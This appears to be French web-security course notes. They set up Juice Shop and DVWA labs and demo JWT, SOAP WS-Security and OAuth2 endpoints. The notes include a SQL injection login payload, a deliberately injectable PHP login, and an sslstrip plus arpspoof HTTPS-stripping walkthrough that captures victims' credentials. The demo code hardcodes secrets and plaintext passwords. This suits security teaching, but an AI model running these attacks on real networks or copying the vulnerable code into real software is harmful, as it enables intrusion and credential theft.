Courses SER


services:
  juice:
    image: bkimminich/juice-shop
    ports: ["3000:3000"]
  dvwa:
    image: vulnerables/web-dvwa
    ports: ["80:80"]

Docker compose TP

Télécharger burp suite community :

Professional / Community 2025.9.5
This release introduces support for custom Java scan checks, a more streamlined scan configuration panel in the scan launcher, and several quality of life improvements. Custom scan checks in Java You

Télécharger owasp zap:

ZAP – Download
The world’s most widely used web app scanner. Free and open source. ZAP is a community project actively maintained by a dedicated international team, and a GitHub Top 1000 project.
# Docker compose pour lab
docker-compose up -d
# Juice Shop : http://localhost:3000
# DVWA : http://localhost
# Login : admin
# Password : password
POST /rest/user/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{"email":"test@toto.com' OR '1'='1';","password":"testtest"}

burpsuite

# Mettre à jour et installer outils
sudo apt update
sudo apt install -y wireshark mitmproxy openssl curl
# (Sur macOS, utiliser brew : brew install wireshark mitmproxy openssl)

TP : Endpoint securisé

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
app.use(express.json());

const secret = 'secret_key';

app.post('/login', (req,res)=>{
    const token = jwt.sign({user: req.body.user}, secret, {expiresIn: '1h'});
    res.json({token});
});

app.get('/data', (req,res)=>{
    const token = req.headers['authorization'];
    try {
        jwt.verify(token, secret);
        res.json({data:'Contenu sécurisé'});
    } catch {
        res.status(401).send('Token invalide');
    }
});

app.listen(3000);

TP : SOAP avec WS-Security

mkdir wssecurity-demo
cd wssecurity-demo
npm init -y
npm install soap express body-parser
wssecurity-demo/
 ├─ server.js
 ├─ myservice.js
 └─ myservice.wsdl

structure du projet

module.exports = {
  MyService: {
    MyPort: {
      getSecretData: function (args, callback, headers) {
        const security = headers.Security;
        if (!security || !security.UsernameToken) {
          throw new Error("Missing WS-Security header");
        }

        const username = security.UsernameToken.Username;
        const password = security.UsernameToken.Password;
        
        // Vérification basique
        if (username === "admin" && password === "secret") {
          return { result: "Confidential data: [TOP SECRET]" };
        } else {
          throw new Error("Invalid credentials");
        }
      }
    }
  }
};

myservice.js

<definitions name="MyService"
             targetNamespace="http://example.org/myservice/"
             xmlns:tns="http://example.org/myservice/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns:xsd="http://www.w3.org/2001/XMLSchema"
             xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">

  <message name="getSecretDataRequest">
    <part name="parameters" element="tns:getSecretData"/>
  </message>
  <message name="getSecretDataResponse">
    <part name="parameters" element="tns:getSecretDataResponse"/>
  </message>

  <portType name="MyPortType">
    <operation name="getSecretData">
      <input message="tns:getSecretDataRequest"/>
      <output message="tns:getSecretDataResponse"/>
    </operation>
  </portType>

  <binding name="MyBinding" type="tns:MyPortType">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document"/>
    <operation name="getSecretData">
      <soap:operation soapAction="getSecretData"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>

  <service name="MyService">
    <port name="MyPort" binding="tns:MyBinding">
      <soap:address location="http://localhost:8000/wsdl"/>
    </port>
  </service>
</definitions>

myservice.wsdl

const express = require("express");
const fs = require("fs");
const soap = require("soap");
const myService = require("./myservice");

const wsdl = fs.readFileSync("myservice.wsdl", "utf8");
const app = express();
const port = 8000;

app.listen(port, () => {
  soap.listen(app, "/wsdl", myService, wsdl);
  console.log(`SOAP service running at http://localhost:${port}/wsdl?wsdl`);
});

server.js

Test avec SOAP UI ou Podman

  • Importer le WSDL
    • Ouvrir SoapUI
    • Créer un New SOAP Project
    • Coller l’URL : http://localhost:8000/wsdl?wsdl
    • SoapUI charge les opérations disponibles (ici : getSecretData).
  • Ajouter la Header
<soapenv:Header xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/12/secext">
    <wsse:UsernameToken>
      <wsse:Username>admin</wsse:Username>
      <wsse:Password>secret</wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>
</soapenv:Header>
  • Execute la requête
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:ex="http://example.org/myservice/">
   <soapenv:Header>
      <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/12/secext">
         <wsse:UsernameToken>
            <wsse:Username>admin</wsse:Username>
            <wsse:Password>secret</wsse:Password>
         </wsse:UsernameToken>
      </wsse:Security>
   </soapenv:Header>
   <soapenv:Body>
      <ex:getSecretData/>
   </soapenv:Body>
</soapenv:Envelope>

Oauth2

// model.js
const crypto = require("crypto");

const users = [
  { id: 1, username: "alice", password: "password123" },
];

const clients = [
  {
    id: 1,
    clientId: "client-id",
    clientSecret: "client-secret",
    grants: ["password"],
    redirectUris: [],
  },
];

const tokens = [];

module.exports = {
  getAccessToken: async (accessToken) => {
    const token = tokens.find((t) => t.accessToken === accessToken);
    return token ? { ...token, user: token.user, client: token.client } : null;
  },

  getClient: async (clientId, clientSecret) => {
    return clients.find(
      (client) =>
        client.clientId === clientId && client.clientSecret === clientSecret
    );
  },

  saveToken: async (token, client, user) => {
    const savedToken = {
      accessToken: crypto.randomBytes(32).toString("hex"),
      accessTokenExpiresAt: new Date(Date.now() + 3600 * 1000),
      client,
      user,
    };
    tokens.push(savedToken);
    return savedToken;
  },

  getUser: async (username, password) => {
    return users.find(
      (user) => user.username === username && user.password === password
    );
  },
};

model.js

// server.js
const express = require("express");
const bodyParser = require("body-parser");
const OAuth2Server = require("oauth2-server");
const model = require("./model");

const app = express();

app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());

app.oauth = new OAuth2Server({
  model,
  accessTokenLifetime: 60 * 60,
  allowBearerTokensInQueryString: true,
});

// Route pour obtenir un token
app.post("/oauth/token", async (req, res) => {
  const request = new OAuth2Server.Request(req);
  const response = new OAuth2Server.Response(res);

  try {
    const token = await app.oauth.token(request, response);
    res.json(token);
  } catch (err) {
    res.status(err.code || 500).json(err);
  }
});

// wrapper
const authenticate = async (req, res, next) => {
  const request = new OAuth2Server.Request(req);
  const response = new OAuth2Server.Response(res);
  try {
    const token = await app.oauth.authenticate(request, response);
    // attache l’utilisateur ou le token au req
    req.user  = token.user  || token;
    return next();
  } catch (err) {
    return res.status(err.code || 500).json({ error: err.name, message: err.message  });
  }
};

// Route protégée
app.get("/secure", authenticate, (req, res) => {
  res.json({
    message: "Accès autorisé",
    user: req.user,
  });
});

app.listen(3000, () => {
  console.log("OAuth2 Server démarré sur http://localhost:3000");
});

server.js

node server.js
curl -X POST http://localhost:3000/oauth/token \
  -u client-id:client-secret \
  -d "grant_type=password" \
  -d "username=alice" \
  -d "password=password123"
curl -H "Authorization: Bearer remplace-par-token" \
  http://localhost:3000/secure

Exploitation d’une faille critique sur le frontal HTTP:

  • Injection SQL sur page de login non sécurisée
  • Préparer un environnement de test
    • Serveur Web + base MySQL ou SQLite.
    • Exemple minimal HTML formulaire login :
<form method="POST" action="/login">
  Username: <input type="text" name="user">
  Password: <input type="password" name="pass">
  <input type="submit">
</form>

index.html

Backend PHP

<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$conn = new mysqli('localhost','root','','testdb');
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
$result = $conn->query($sql);
if($result->num_rows > 0){
    echo "Login successful";
} else {
    echo "Login failed";
}
?>

login.php

Exploitation

  • user: ' OR '1'='1
  • pass: ' OR '1'='1

Résultat : connexion bypassée → faille critique.

Attaque de type HTTPS Stripping

Préparer l’environnement

  • Serveur Web avec HTTPS.
  • Machine attaquante sur le même réseau (Wi-Fi de test).

Installer outil de HTTPS Stripping

  • sudo apt install sslstrip
  • sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  • sudo sslstrip -l 10000

Activer le proxy et arp-spoofing

  • Intercepter le trafic de la victime avec arpspoof.
  • sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
  • Toutes les connexions HTTPS de la victime passent en HTTP, capture des identifiants et cookies possible.